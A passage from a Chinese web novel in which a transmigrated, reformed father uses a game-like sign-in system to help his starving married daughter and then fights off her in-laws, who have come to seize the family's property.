男人摔断腿,身边拖着三个孩子,家里甚至还断了粮,婆家那边非但不管,还恶意造谣……
这哪里是在过日子,这分明就是在熬命啊!
第104章 大女儿江槐
“走!”
江河脸色铁青,从牙缝里挤出两个字,提起东西就朝村西头大步走去。
**连忙抹了把眼泪,快步跟上。
按照**打听到的路线,他们很快就在村西头找到了那两间破败得几乎要倒塌的土坯房。
院子里一片死寂,只有屋里隐约传来压抑的咳嗽声和孩子细微的呜咽。
院门虚掩,江河没有犹豫,直接推门而入。
狭小破败的院子里堆着些破烂杂物,地面坑洼不平。
正对着院门的那间屋子门开着,江河一眼就看到了屋里的情形——
一个瘦得皮包骨头、面色灰败的男人躺在破旧的炕上,盖着打满补丁的薄被,正捂着胸口剧烈地咳嗽,每咳一声,身体都痛苦地蜷缩一下。
炕边,一个同样瘦弱不堪、头发枯黄、面色苍白的年轻妇人,正背对着门,一手轻拍着怀里的孩子,一手端着个破碗,似乎想给炕上的男人喂水。
刚才那阵孩子有气无力的呜咽声,就是从那年轻妇人怀中的孩子口中发出的。
只看背影,江河不知这妇人是不是就是他那个素未谋面的大女儿。
不过他身后的**却是一眼就辨认了出来,忍不住带着哭腔高声唤道:“大姐!我们来看你了!”
听到门口的动静,江槐有些迟钝地转过头。
当她的目光落在门口的江河和**身上时,整个人瞬间僵住了,手里的破碗“哐当”一声掉在地上,摔得粉碎。
她怀里的孩子被吓得“哇”的一声,又哭了起来。
哭声将江槐惊醒,她连忙低头哄起了孩子,同时站起身来,神色有些慌乱与窘迫的看向江河与**,身子也不由自主的往后退了两步。
她是完全没有想到,远在下河村的老爹和三弟,竟然会突然出现在她们家门口,还看到了她如今这般窘迫不堪的样子。
自她嫁入柳树村,跟了丈夫赵诚之后,娘家那边就从来都没有一个人过来瞧看过她。
以前娘还在的时候,不时还会偷偷的托人捎个口信,或是带些东西过来。
可自三年前,娘被老宅的那个老妖婆给逼死之后,她就彻底跟那个冰冷的家断了联系。
而现在,已经三年都再没有联系过的娘家人,竟然在她最难堪最窘迫也最无助的时候,突然出现在了她的眼前。
江槐不知道这个时候自己是该哭还是该笑。
三弟过来看她,她自然是心中欢喜。
可是跟三弟一起过来的江河,却让她本能的感到恐惧与不安,心里慌得厉害。
她怕江河会在这个时候落井下石,怕她这个亲爹又会像以前一样,把她强行带走,再转卖给另外一户人家。
还有她的三个孩子,尤其是怀里的这个男娃儿,抱出去给那些人牙子,也能换不少钱。
按照她对自己渣爹的了解,这种丧尽天良、冷血无情的事情,她爹是真的做得出来。
所以,现在看到突然出现在眼前的娘家人,尤其是在看到她亲爹之后,江槐的眼中非但没有多少惊喜,反而还害怕的接连后退了两步。
“你……你们怎么来了?!”
江槐的声音有些沙哑与惶恐的看着江河与**,颤声询问。
江河见自己什么都还没说,只是露了一个脸,就把大女儿给吓成了这般模样,忍不住又在心里痛骂了原身一句狗东西。
真是太不当人了!
都特么已经三年没有见面了,现在都还能把自己的亲闺女给吓得想要直接哭出来。
可想而知,前些年原身给这个大女儿所造成的心理创伤究竟有多么严重了。
“谁来了?”
这时候,床上的赵诚止住了咳嗽,抬头朝门口处看来,同时虚弱至极的开口向江槐问道:
“媳妇儿,他们是谁啊?”
虽然他刚刚也听到了**喊了一句大姐,猜到可能是江槐的娘家来人了,可是他还是有些不太确定的向江槐询问了一句。
做为江槐的丈夫,赵诚很清楚江槐为何会跟娘家断了联系,也知道江槐的娘家爹是个什么样的无赖货色。
当初他之所以能娶到江槐,就是因为她娘家爹看上了他砸锅卖铁才凑出来的六百文彩礼。
在他与江槐成婚后,就是她那个娘家爹直接放出话来,嫁出的姑娘泼出的水,不许江槐和他这个姑爷回门吃他们家一口饭,占他们家半点儿便宜。
这也就导致了赵诚与江槐成婚六年,孩子都有了仨,却始终都没有正式见过他这位老岳丈一面。
赵诚是个老实人,可也是个要脸面的。
他知道岳父是嫌他家穷,嫌他这个女婿没本事,所以才会说出那番绝情的话,做出那番**脸面的事。
这些年来,他拼了命地干活,想要多赚钱,想要让江槐过上好日子,想要向岳丈证明,他赵诚也是一个顶天立地的汉子,江槐并没有嫁错人。
可惜,天不遂人愿,家里本就清贫,他又接连倒霉,日子越过越难,直到这次摔断了腿,更是雪上加霜,眼看这个家就要撑不下去了。
他常听江槐在夜深人静时偷偷啜泣,知道她心里苦,想娘家兄弟,想早逝的亲娘。
可她也从未当面抱怨过他半句,无论家里的日子再难再苦,也都是默默扛起了一切。
这份情义,赵诚感念于心,却也更加自责。
如今,在他最狼狈、最无助,家里几乎已经断炊、他自己也伤重垂危的时候,岳丈和三舅哥却突然上门了。
与江槐一样,赵诚的心里也不由涌起巨大的不安和羞愧。
他怕岳父是来兴师问罪的,怪他没照顾好江槐。
更怕岳父看到他家这破落样子,会更加看不起他,甚至……还会趁机把江槐带走!
毕竟,当初岳丈能狠心把女儿卖一次,未必就不会再有第二次,第三次!
尤其是现在他这个样子,完全就是个废物,根本护不住妻儿。
他挣扎着想坐起来,却牵动了腿上的伤口和胸膛内的燥气,又是一阵撕心裂肺的咳嗽,脸涨得通红。
“当家的!”
江槐见丈夫咳得厉害,也顾不上
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害怕了,连忙把孩子放到炕角,转身去扶赵诚,替他拍背顺气,眼中满是心疼和焦急。
看着江槐下意识护着丈夫、眼中只有担忧没有半分怨怼的样子,江河便知道,赵诚平日里应该对江槐还算不错,否则她不会这么着紧赵诚。
江河深吸一口气,拎着半袋粮食和竹篮进了屋,随手将东西放在床角的空当处,同时抬眼向屋内打量观瞧。
屋内的景象比他想象的还要糟。
除了炕和一张破桌子、两个瘸腿的凳子,几乎一无所有。
空气中弥漫着浓重的药味、霉味和病人身上伤口溃烂发炎散发出的**气息。
江河在屋内环视了一圈儿,都没有看到半点儿能吃的东西。
看来**之前打探到的消息全都是真的,他大女儿、大女婿家,真的已经穷得揭不开锅了。
江河没有搭理躺在床上的赵诚,甚至都没有跟江槐说话,而是把目光落在刚刚**槐随手放在床头的那个孩童身上。
之前看江槐把孩子抱在怀里,他还以为是个婴儿,现在看到孩子的全貌,才发现这竟是一个已经有两岁左右的孩童。
只是现在,这孩子瘦得厉害,也虚弱得很,哪怕是哭声都有些微不可闻。
这是病了?还是单纯的给饿成了这样?
江河没有过多犹豫,直接伸手入怀,掏了一颗剥了皮的棒棒糖,小心地递送到孩子的嘴边。
似乎是闻到了糖果上散发出来的香甜味道,正在闭着眼睛呜咽着的小娃娃猛的睁开双眼,嘴巴一张,直接就将送到嘴边的棒棒糖咬在了口中。
然后,呜咽声戛然而止,只有小娃娃不断吮吸糖果,贪婪的吞咽口水的声音。
半颗糖果下肚,小家伙的精神状态明显变好了许多,就连苍白的小脸都露出了一丝红润。
果然是被饿坏了!
这可怜见的!
江河见状,心头不由一酸。
连孩子都饿成了这样,家里的这两个大人就更不用说了。
“**,还愣着做什么,马上把我带来的那些糕点拿出来,给你大姐和大姐夫先垫巴垫巴。”
江河回头向**吩咐了一句。
**这才回过神来,马上弯身去竹篮里翻找,很快就把那十块枣泥糕取出,快步送到了大姐与大姐夫的跟前。
“大姐,这是爹特意给你和孩子们带的,你快吃点吧,看你……都饿成什么样了?”
**的声音哽咽,眼泪吧嗒吧嗒地往下掉。
挨饿的滋味是什么样,他可是太清楚了。
以前老爹还没有变好时,他们全家基本上都是吃了上顿没下顿,经常处在忍饥挨饿的状态中。
家里的孩子全都瘦成了细麻杆儿,他看着别提多心疼了。
而现在,他没想到大姐家的日子,竟然要比他们以前还多有不如。
孩子饿得连哭都没了气力,大姐和大姐夫更是都瘦得只剩下了皮包骨。
**一点儿也不怀疑,若是他与老爹再晚来几天,大姐这一家子,怕是都得直接饿死在家里。
第105章 姥爷打架可是很厉害的!
江槐看着三弟递到眼前的、散发着诱人甜香的枣泥糕,喉咙不受控制地滚动了一下。
她已经记不清多久没吃过这样精细的点心了,甚至,连正经的粮食都快断顿好多天了。
可是,她不敢接。
她的目光下意识地飘向站在一旁,正在专心逗弄孩子的江河。
他……会这么好心?
他带来的东西……能吃吗?里面万一下了药呢?
还有,他现在对孩子这么好,是不是心里正在盘算着把他们夫妇二人迷晕了,好抱孩子走?
以前在娘家时,她可从来都没有见过渣爹对家里的哪个孩子这般温柔和善过。
江槐心生警惕,本能地摇头拒绝,就连身子也不自觉地往后缩了缩,紧紧挨着炕上的赵诚,像是要寻求一点可怜的安全感。
如果不是她现在实在是没有了太多的力气,她肯定不会让孩子靠江河那么近,更不会让孩子吃江河拿出来的任何东西。
在江槐的眼中,她这个亲爹自打进屋之后,所表现出来的一切举动,都太过反常,完全不是她所熟悉的那个混蛋爹。
他既没有骂人,也没有**,更没有用那种极为嫌弃甚至厌恶的目光打量她与赵诚。
更奇怪的是,以前最烦孩子吵闹,尤其是不喜小孩子在跟前哭的那么一个人,现在竟然会这么有耐心的哄起了她的儿子,而且竟然还让他给哄好了。
事出反常必有妖,江河表现得越是平静淡然,越是与小孩亲近,江槐反而越是心中没底,越是觉得害怕。
赵诚则没想那么多,他的性子耿直,没那么多心眼儿。
而且他也没有跟江河真正见过面,了解极为有限,自然感觉不到江河身上的异常。
看到小舅子递来的糕点,还有小舅子一脸心疼且焦急的神色,赵诚自然不会怀疑什么。
他已经饿了太久,伤口的疼痛和肺里的灼烧感,几乎耗尽了他最后的气力。
眼前这香甜的糕点,对他来说,根本就是能救命的良药。
不止能救他的命,也能救他媳妇,救他儿子女儿的命。
他们家已经断粮太久了,再不吃东西的话,真的是会饿**的啊!
所以,在他看来,岳丈与舅子能够这个时候过来他们家,还给他们带来了这么精细的糕点,简直就是雪中送炭,是上天派来拯救他们一家人的救星。
只是,当赵诚伸出手,想要去接**递来的糕点时,却**槐拦住:“当家的,这糕点不能吃!”
赵诚一愣,有些疑惑的扭头看向江槐。
这可是她娘家爹和亲弟弟送来的糕点,难道还能有毒不成?
**举着糕点的手停在半空,他当然知道大姐为何不敢让姐夫吃这些枣泥糕。
大姐这是在防备着爹呢,连带着,把他这个亲弟弟也给防备上了。
“大姐,这枣泥糕半点儿问题也没有,你和大姐夫可以放心吃!”**切声开口向江槐说道:“你要是不信,我先吃一口给你看看!”
说着,**随意地从手中的枣泥糕上掰下了一块,塞到了自己的嘴里,用力的咀嚼起来。
咕噜噜!
看到**吃得这么香甜,本来就已经饿极了的江槐与赵诚,肚子里同时发出了咕咕的声响,嘴巴里面也不断有口水分泌出来。
可即便是如此,江槐仍拉着赵诚的胳膊,不愿伸手去接**手中的糕点。
**没有办法,只能无奈地扭头向江河这边看来。
江河见躺在床边的孩子已经含着棒棒糖,疲惫的睡着了,口鼻处甚至还发出细微的鼾声。
可见,这孩子不仅饿极了,也困极了,现在刚刚补充了一点儿糖分,甚至都没再吃什么东西,就直接沉沉的睡过去了。
感应到**投来的求助目光,江河这才将目光从孩子的身上移来,扭过头,平静地看向蜷缩在炕角的大女儿江槐。
那目光里没有责备,没有逼迫,只有一种江槐从未见过的温和与宽容。
“小槐花,”江河开口叫起了江槐的小名,声音不高,却清晰地在寂静的屋里响起,“爹知道你在想什么,怕什么。”
“你在担心爹还会像以前那样混蛋,会在这糕点里面下药,趁着你们被迷晕的时候,悄悄把你和孩子带走……”
他没有辩解,没有说“我是你爹怎么可能害你”这类明显没有什么说服力的话,而是直接点破了江槐心底最深的忧虑和恐惧。
江槐的身体几不可察地僵了一下,眼神也随之变得更加慌乱。
“这糕点,是干净的,你可以放心吃。”
“我江河就算是再不是东西,也不至于会往自己女儿的吃食里下药……”
“况且,你若是不先把肚子给填饱了,一会儿哪里会有力气跟你婆家那帮人做个了断?!”
诶?
爹这话是什么意思?
听到江河所言,不止是江槐与赵诚,就连**都感觉一头雾水。
爹这是要做什么,难道是想要跟大姐的婆家打一架,闹一场?
这里可是柳树村啊,是人家老赵家的地盘,真要是闹起来了,他们能讨得了好?
就在几人胡思乱想的时候,外面突然传来一阵急促的脚步声,紧接着,就听到有两个女童清脆且急促的叫嚷声:
“爹,娘!不好了!奶奶和大伯、二伯、小叔他们,又朝咱家走来了!”
两个小丫头气喘吁吁的从外面跑到家门前,看到屋里竟然多了两个陌生人后,急切的叫嚷声不由戛然而止。
她们有些紧张甚至害怕的看着江河与**,站在门口不敢再往里走,小脸吓得煞白。
江河抬眼看去,门口站着两个瘦骨嶙峋的小女孩,大的约莫五六岁,小的只有三四岁,身上穿着补丁摞补丁的单薄衣裳,冻得小脸通红,直打寒颤。
这应该就是他
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的另外两个外孙女了。
年龄与江娴、江涛仿佛,只是身体却要比江娴、江涛还要瘦弱得多。
江河不知道她们叫什么名字,因为在原身的记忆里,对这两个外孙女根本就毫无印象。
如果不是之前听**提起,他甚至都不知道自己还有两个外孙女。
刚刚他就是“听”到了这两个丫头急促的跑步声,才察觉到了更远处,正在朝着他们这边赶来的赵家那帮人。
“念儿,瞳儿,你们别怕,这是……是你们姥爷和三舅舅。”
“来,快到娘这里来!”
江槐在屋里急忙开口安抚着两个女儿,伸手招呼她们进屋的同时,眼中也掩饰不住的泛起了一阵慌乱和绝望。
婆家人竟然也来了!
他们肯定是知道了赵诚再度病重,家里完全断了钱粮,想来彻底逼死他们,好占了这房子和最后那点薄田!
今天这到底是怎么了?
难道就连老天爷也想要了他们一家人的性命吗?
不然的话,为何她在这世上最惧怕也最厌恶的两拨人,竟然会在同一天的同一刻,全都出现了?
赵念与赵瞳听到娘亲的介绍,先是好奇的打量了一下江河与**,然后便小跑着进了屋,来到了江槐的跟前。
看到**手中还捧着的那几块枣泥糕,两个小丫头全都不自觉的吞咽起了口水,四只大眼睛仿佛全都长在了那些糕点上。
**见状,连忙拿了两块枣泥糕递了过去。
赵念与赵瞳眼中虽然极为渴望,却并没有第一时间伸手去接,而是回头看向了她们的娘亲。
见江槐仍犹豫着没有点头,江河不满的冷哼一声,直接上前一步,从**手中拿过那两块糕点,蹲下身,尽量让自己的视线与两个小女孩平齐。
紧接着,他的脸上露出了一丝很是温和慈爱的笑容,轻声向两个丫头说道:
“念儿,瞳儿是吧?来,这是姥爷给你们的,你们尽管吃!若是觉得好吃的话,以后姥爷还给你们买!”
江河这般温和慈善的笑容,让一旁的江槐都不由一阵精神恍惚。
从小到大,她可从没见过爹对家里的任何一个孩子这样笑过。
今天这是怎么了,中邪了不成?
见娘没有说话,胆子稍大一些的赵念,看看糕点,又看看江河似乎没有半点儿恶意的眼神,小声问道:
“这真的……给我们吃?”
“当然是真的!”
江河直接把糕点塞进她小小的手掌里,然后又把另一块也塞给了赵瞳。
“你们尽管在这里放心的吃,外面的那些大坏蛋,交给姥爷去对付。”
“悄悄的告诉你们,姥爷打架可是很厉害的!”
最后这句话,不止是说给两个孩子听的,更是说给江槐与赵诚这两个大人听的。
今天有他江某人在,谁也别想欺负他的女儿、女婿和三个外孙!
第106章 再次签到,精华壮骨粉
江河打架很厉害吗?
当然是很厉害的。
至少在**、江槐这对儿女的心里,他们这个渣爹的人品虽然不咋的,但是战斗力绝对能够称霸整个下河村。
否则的话,他怎么会成为下河村人人都怕的二赖子?
只是以前,渣爹从来都没有为他们这些家人打过架,无论是**还是江槐,也从来都没有感受到过被亲爹护佑的安全感。
每次他们在村里被别人给欺负了,只要哭着回家抱屈,江河永远都是第一个跳出来打骂他们的那个人,从来都不会主动为他们出头。
久而久之,他们这群孩子哪怕在外面挨了打、受了欺负,也不敢再回家跟渣爹说上一句,只能自己忍着、受着。
以前他们大哥江山还在的时候,倒是能够护着他们一些,可是自打大哥参军战死之后,他们几个孩子头上的天就像是直接塌掉了一般。
**之前那般唯唯诺诺、自卑敏感、爱哭鼻子的性格,就是在这样的环境中一点点的形成的。
现在,江槐看到渣爹高大的身形堵在门前,摆出一副要为他们出头,要与婆婆一家大打出手的姿态,心里竟莫名的感觉到有些怪异与不可置信。
尤其是当她看到,**这个爱哭鬼,一听说要打架,竟然直接把手中的糕点强塞到了她的手中,满眼激动与兴奋的也跑到了门口,与渣爹并肩站在了一处时,她心中的怪异感更甚。
什么时候,她这个遇到什么事情都只知道躲在她身后哭鼻子的三弟,竟然变得这么勇了?
她也就才三年不曾回过娘家而已,三弟的身上怎么就发生了如此翻天地覆的变化?
这三年来,娘家那边到底发生了什么变故,怎么这一个个的,全都变得让她有些不认识了?
旁边,小赵念可没有想那么多,她手里拿着刚刚那个不认识的姥爷强塞到她手中的糕点,忍不住小口咬了一口。
霎时间,一股她从来都没有吃过的软糯香甜滋味在嘴里化开。
好吃!
小丫头的眼睛瞬间就亮了,连忙对旁边的妹妹说:“瞳儿,快吃,好香好甜!”
赵瞳见姐姐都已经吃了起来,也终于控制不住,学着姐姐的样子缓缓将枣泥糕送到了嘴边。
枣泥糕刚一入口,小丫头的眼睛也瞬间变得亮晶晶,一下子就爱上了这个味道,感觉这世上再也没有比她手中这些糕点更好吃的东西了!
实在是太美味了!
两个满脸满足,小嘴巴叭叭的吃得极快,只是三两下,就将手中的枣泥糕全部吃下。
看着女儿们狼吞虎咽的样子,江槐心头一酸,眼泪几乎又要涌出。
她别过脸,深吸一口气,强迫自己冷静下来。
她没有把刚刚**强塞到她手中的枣泥糕再分给两个孩子,而是拿了一块递给躺在床上的赵诚,然后他们夫妻二人一人一块,把枣泥糕吃进了肚子里。
爹刚才说得对,不吃东西,没有气力,一会儿如何跟婆家那帮**血的狗东西做个了断?
反正横竖都是一刀,哪怕是真的要死,她也想要跟自家男人和孩子们一起,做个饱死鬼。
想通了这些,江槐不再有任何纠结,吃下了一块枣泥糕,恢复了些许力气之后,竟然主动起身去将江河刚刚带来的那个竹篮拎了起来,想要再找出一些吃的填饱肚子。
只是,当她看到竹篮里放着的那些东西后,整个人都不自觉地僵在了那里。
竹篮里,整整齐齐地码放着一大堆的东西。
最上面是用油纸包着的枣泥糕,原本应该有十块,现在还剩下六块。
拿开油纸包,下面竟是一大块用荷叶包着的、色泽油亮的风干腊肉,足有五六斤重,散发着诱人的咸香。
腊肉旁边,是一个小陶罐,里面是莹白的猪油,凝成了乳白色,在昏暗的光线下泛着细腻的光泽。
边上还有两包用粗纸包着的东西,一包是白糖,一包是小孩子吃的硬块糖果……
更下面,则是一整匹颜色素雅但质地厚实的棉布,还有一只装了至少两百文现钱的钱袋!
怪不得他们会拎着这么大一只竹篮,原来这篮子里面竟然装了这么多的宝贝东西!
待看清了篮子里装着的这些东西,江槐的手停在半空,呼吸都滞住了。
她以为自己身子虚,饿得花了眼,不禁用力眨了眨眼,又抬手揉了揉眼眶,可眼前的景象却丝毫未变。
竹篮里的那些东西一样没少,全都安静地躺在篮筐里!
只是,这……这怎么可能呢?!
这么多精贵的东西!
腊肉、白糖、猪油、细布、糖果……这得值多少钱?
就算是他们村里最富足的人家,逢年过节时也未必能置办得这么齐全!
可是现在,她爹和三弟,竟然就这么堂而皇之的,把这么多好东西,还有足足两百文钱,全都拿到他们家来了?
这是要送给他们的礼物吗?
爹他……他哪来的这么多钱?
他又怎么舍得把这么多东西送给他们?
江槐感觉自己像是在做梦,压根就不敢相信眼前的这一切都是真的。
“行了丫头!既然已经想通了,就别在那里干愣着了!”
门外,察觉到江槐心理变化的江河,适时开口向这个
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大女儿说道:
“那篮子里的东西,还有那半袋粟米,全都是老子我带给你和三个外孙的礼物,你们只管放心大胆的吃,先把自己的肚皮填饱再说其他!”
“是啊大姐!”**也在旁边帮腔劝说:“这些可都是爹特意给你还有三个孩子买的,你千万别客气,该吃就吃,咱们家现在的日子好过了,不缺这点儿东西!”
江槐闻言,身形微颤,终于不再继续发呆,默默的取出剩下的枣泥糕,分给了两个女儿和丈夫赵诚,示意他们赶紧吃。
不管接下来会有什么阴谋诡计,他们要面对的是什么,只有吃饱了,他们才会有足够的力气和精力去应对。
门外。
江河见江槐终于敞开了心扉,开始放开了吃他带来的糕点,不由心情大好,脸上也不自觉的泛起了一丝开怀的笑意。
他扭头看向站在侧旁边的**,朗声问道:
“老三,一会儿可能会跟对方打起来,你怕不怕?”
**身形一颤,继而高高的挺起胸膛,大声道:
“我……我才不会怕!小时候是大姐一直护着我,现在也该轮到我来护着大姐了!”
“诶!这就对了!”
江河大笑着抬手拍了拍**的肩膀,道:
“这才像是我江河的种!男子汉流血不流泪,打个架怕什么,只要咱们占理,就算是县里的差役来了咱都不用怂!”
**闻言,用力点头。
他们的背后,正在屋里大口吃东西的江槐,听到爹与三弟的对话,竟没来由的鼻子一酸,眼泪吧嗒吧嗒的往下掉。
“娘,你怎么哭了,是不是肚肚又疼了,念儿来给娘揉揉!”
赵念看到娘亲不断的流眼泪,还以为是娘亲的胃病又犯了,便伸出小手放在了江槐的肚子上,小心的揉了起来。
江槐抬手抹了一把眼泪,抬手在赵念的脑袋上轻拍了拍道:
“娘没事儿,就是刚才被风沙迷了眼,现在已经好多了!念儿乖,赶紧把手里的糕点吃了吧!”
听到屋内的动静,江河本想要再多说两句,增进一下父女感情,却突然听得耳边响起了一道熟悉的提示声音:
“叮,发现新的签到地点,柳树村,赵宅,请问是否签到?”
“签到!”
“叮,签到地点刷新成功,签到地——柳树村,赵宅!”
“叮,宿主激活全新签到地点,触发新手福利暴击,此次签到宿主将获得十倍签到奖励!”
“叮!恭喜宿主签到成功,获得铜钱50文*10,五常大米30斤*10,秘制火腿1条*10,精华壮骨粉1盒*10!”
第107章 老子是江槐的亲爹!
听到耳边悦耳的系统提示,江河不由惊诧的瞪大了双眼。
他可是完全没有想到,上午他在县城里面转悠了大半天,都没有寻到任何一处全新的签到地点。
而现在,只是来闺女家里走了个亲戚,竟然就这么轻易的触发到了,而且还是十倍的暴击奖励!
看到物品栏内新多出来的那五百文钱,三百斤五常大米,十条油得发亮的秘制大火腿,还有十盒名为【精华壮骨粉】的东西,江河不由心情大好,咧嘴轻笑了起来。
大米、火腿什么的,他并不陌生,但是那几盒【精华壮骨粉】,听着好像是什么保健品,不知道具体有什么功用。
带着好奇,他目光轻扫,直接将注意力放到了那十盒【精华壮骨粉】上。
霎时间,安放在物品栏内的【精华壮骨粉】的上方,就浮现出了一块相关的物品属性面板:
【精华壮骨粉】:
品质:稀有
成分:虎骨、鹿茸、当归、川芎、桃仁、红花、丹参等二十一味名贵药材
功效:对骨折、骨裂、经脉拉伤等伤势有奇效。
说明:一半口服,一半外敷,一盒即可见效。服用后,伤势恢复速度提升300%,并能最大限度避免留下暗伤或后遗症,无任何副作用。
嘶~!
伤势恢复速度提升300%!那不就是三倍的恢复速度了?!
看到【精华壮骨粉】的属性说明,江河不由暗自咋舌,同时也回头看了一眼屋内正躺在床上,跟个废人一样的大女婿赵诚。
这【精华壮骨粉】,简直就是专门为赵诚这个摔断了腿的家伙量身定做的啊有木有!
原本他还想着稍后要给赵诚找个靠谱的郎中来看看呢,现在看来,完全没有那个必要了。
有了这种专门医治骨伤的【精华壮骨粉】,加上300%的恢复速度,这小子的断腿很快就能恢复如常。
只要腿上的伤好了,吃的喝的又能跟得上,他身上其他的那些小毛病自然就能不药而愈。
就在江河为意外激活新签到点,且收获颇丰而心中暗喜时,院门外由远及近的嘈杂脚步声和叫骂声打断了他的思绪。
赵家的那帮人,已然气势汹汹地过来了。
为首的是赵老太太,也就是江槐的婆婆,赵诚的亲娘——赵张氏。
她的身后跟着三个儿子。
老大赵富,身材高大粗壮,一脸横肉。
老二赵贵,矮墩墩的,却长了一个大脑袋,眼神阴鸷,一肚子心眼儿。
老四赵旺年纪最轻,只有十几岁的年纪,不过却吊儿郎当,看着没个正形。
老大和老二家的两个媳妇也跟在后面,满眼的幸灾乐祸。
再后面,稀稀拉拉跟着几个赵家的堂叔伯、堂兄弟,加起来足有二十余人。
不过这些**部分都穿得是补丁套补丁的粗布麻衣,鞋子也大多是草鞋,少有几人能穿得周全体面。
而且个个都一脸菜色,面黄肌瘦,仿佛是逃荒过来的难民一样。
看得出,这老赵家虽然人丁兴旺,但是各家户的日子过得却并不怎么宽裕,甚至连填饱肚子都是问题。
也难怪他们会起歪心思,想要趁赵诚重伤将死之时,过来吃绝户。
“老三家的!你个丧门星!克得我儿起不来床,还敢把门关着?!快给老娘滚出来!”
赵老太太人还未到,远远的看到赵诚家的院门竟然紧闭着,尖利刻薄的骂声便先发而至,穿透薄薄的门板,刺得人耳朵疼。
紧接着是赵富粗声粗气的吼叫:
“老三!**没?没死就吱一声!我们是来接念儿、瞳儿过去享福的!”
赵贵更是直接上前拍门:“江槐!我知道你在家里,快来开门!再不开门,我们可要砸了!”
院门是刚刚赵念与赵瞳匆忙跑回家里,刻意关上的。
此刻那薄薄的门板,被外面的人拍得砰砰作响,灰尘簌簌落下。
屋里的赵念和赵瞳吓得浑身一抖,嘴里的糕点都不敢嚼了,惊恐地看向门口。
赵诚气得脸色发青,挣扎着想坐起来,却**槐死死按住。
江槐的脸色也是一阵发白,紧张得浑身颤抖。
但想到爹和三弟就在门外,想到爹来时带来的那些粮食和一篮子的宝贝东西,想到爹和三弟与以前完全不同的行为举止,她深吸一口气,强迫自己镇定下来。
也许……爹和三弟真的是来帮她的呢?
“别怕,别怕,外面有姥爷和舅舅在呢。”
江槐一手拉着赵诚,一手揽着两个女儿,轻声自语地小声安慰着。
门外,江河听着那不堪入耳的叫骂声,眼神一点点冷了下来。
“老三,去把院门打开,让那些狗东西进来说话!”
**一个激灵,马上应了一声,壮着胆子,快步走到院门前,抬手将门栓取下!
“吱呀——”
破旧的木门应声而开。
门外,正要抬脚踹门的赵富猝不及防,一脚踹空,向前踉跄了两步才站稳,差点扑进**怀里。
赵老太太等人也没想到门开得这么突然,骂声和动作都为之一顿。
这赵诚的家里,怎么还有别的男人?而且还不止一个?!
看到院门外竟然站了这么多人,**虽然心里打鼓,但还是挺直了腰板,挡在门前,大声喝问道:
“你们……你们想干什么?!”
赵富站稳身形,看到竟是一个陌生的小子挡在自己面前,顿时气不打一处来,抬手就要推搡:
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>“哪来的小兔崽子,给老子滚开!”
他的手刚伸到一半,就被一只更有力的手稳稳抓住手腕。
“敢对老子的儿子动手,谁给你的胆子?!”江河的声音冷冷响起。
他不知何时已经走到了**身侧,高大的身形将**护在身后,手上微微用力。
赵富只觉得手腕像是被铁钳夹住,骨头都发出不堪重负的嘎吱声。
剧痛传来,他忍不住“哎哟”一声,脸色发白的举着胳膊半蹲在地上。
“松……松手!疼疼疼……快松手!”
赵富吸着凉气,痛得直叫唤。
心中又惊又怒,用力甩臂想要挣脱对方的束缚,却发现对方的手劲大得出奇,他哪怕使出了全身的力气,也根本挣不开。
就这?
江河不屑地轻撇了下嘴,顺势抬手将他往外一送。
赵富的整个身子就踉跄着后退了两步,直接撞到了后面的赵贵身上,兄弟二人同时跌倒在地。
得了自由的赵富,左手捂着自己的右手腕,又惊又惧地抬头看向江河,眼神忌惮非常。
此时他的右手腕处已经红肿了一圈,疼得他眼泪都快流出来了。
“好哇!我说这大白天的怎么关着大门,原来是家里养了两个奸夫啊!”
赵老太太见两个儿子被打,顿时就急了,忍不住对着院子里破口大骂起来:
“江槐你个丧门星,不要脸的赔钱货,我家老三家还没死呢,你就敢这么明目张胆的往家里领野男人了……你……”
“住口!”
江河一声暴喝,同时一个箭步上前,抬起右手就朝着赵老太的老脸上猛扇了两个大耳瓜子!
赵老太直接就被扇懵了,两眼直冒金星,后面那些污秽不堪的叫骂声也戛然而止。
她抬手捂着自己被扇肿的脸颊,有些不敢相信的抬头看着江河,似乎根本就没有料到,江河竟然敢当着他们家这么多男丁的面,直接出手打她这个老太太。
“老东西!你若是再敢满嘴喷粪,辱我女儿清白,信不信老子直接撕烂你这张臭嘴!”
江河厉声暴喝,声音虽然不是很大,但却带着一股刺骨的寒意和不容置疑的威严。
赵老太太再次被惊得心头一颤,下意识地后退了两步。
“你……你……你竟然敢打我?!”赵老太太抬手指着江河,又惊又怒,尖声质问道:“混账东西,你到底是什么人?!凭什么管我们家的事?!”
直到这时,赵老太也都还没有辨认出江河的身份。
“听好了,老子是江河!江槐的亲爹!”
江河一字一顿,声音清晰无比的传遍整个院落,传到了在场所有人的耳中。
“现在,你说老子凭什么管你们家的事?!”
第108章 痛扁赵家满门!
啥?!
江槐的亲爹?!
听到江河这般自暴身份,赵老太被吓得一个激灵,不过很快就反应过来,满眼不信的叫骂道:
“你这野汉子少在这里胡咧咧,江槐她那个死鬼爹早在几天前就已经**,下河村过来报丧的人就是老娘的接待的,绝对不会有假!”
“你现在竟然还想要用一个**的身份来蒙混我们,做梦呢!”
若不是知道江槐的那个二赖子爹已经**的消息,他们这些赵家人又怎敢这么往死里欺负江槐?
就算是江槐再不受江河喜欢,甚至都已经三年不曾回过娘家,可她毕竟是那二赖子的亲生女儿。
那可是江河啊,附近十里八乡谁不知道下河村有这么一个坏得流油的二赖子、臭流氓?
他们若是把事情做得太过,消息传到了下河村,谁知道江河那混蛋玩意儿会不会过来他们柳树村,借着替他女儿报仇讨公道的机会,狠狠的讹他们一笔大的?
所以,江槐他们这一家子真正的苦难,其实并不是从赵诚被摔断了腿的那一天开始的,而是从下河村前来报丧的人离开之后才真正开始的。
正是因为赵家人知道江河已死,心中最后那一点儿顾忌也瞬时消散不存。
所以他们才会表现得这般肆无忌惮,组着团要来吃赵诚家的绝户。
赵老太的这番话,如同一声惊雷,在江槐耳边炸开,炸得她头晕目眩,心口像被狠狠捅了一刀。
“什么?!我爹……竟然已经**?!”
“而且是早在几天前就已经**?!”
屋子里,江槐不由失声惊呼,满眼的意外与不敢置信。
这怎么可能呢?
她爹明明就站在门外,活生生的啊……
她自己的爹,她不可能会认错的!
退一万步来讲,就算是她会认错,难道三弟**也会认错?
可是为什么婆婆却会这么信誓旦旦的说有人过来报丧,难道爹他之前真的出了什么事儿?
瞬时间,一个让她感到心悸的念头闪电般划过江槐的脑海。
她可以肯定,她确实没收到任何娘家报丧的消息!
而按照常理,亲爹过世,哪怕她这个女儿再不受待见,娘家也该派人来知会一声。
为人儿女,父母过世,她无论如何也要回去奔丧守孝的。
可是从始至终,她却没有得到半点消息!
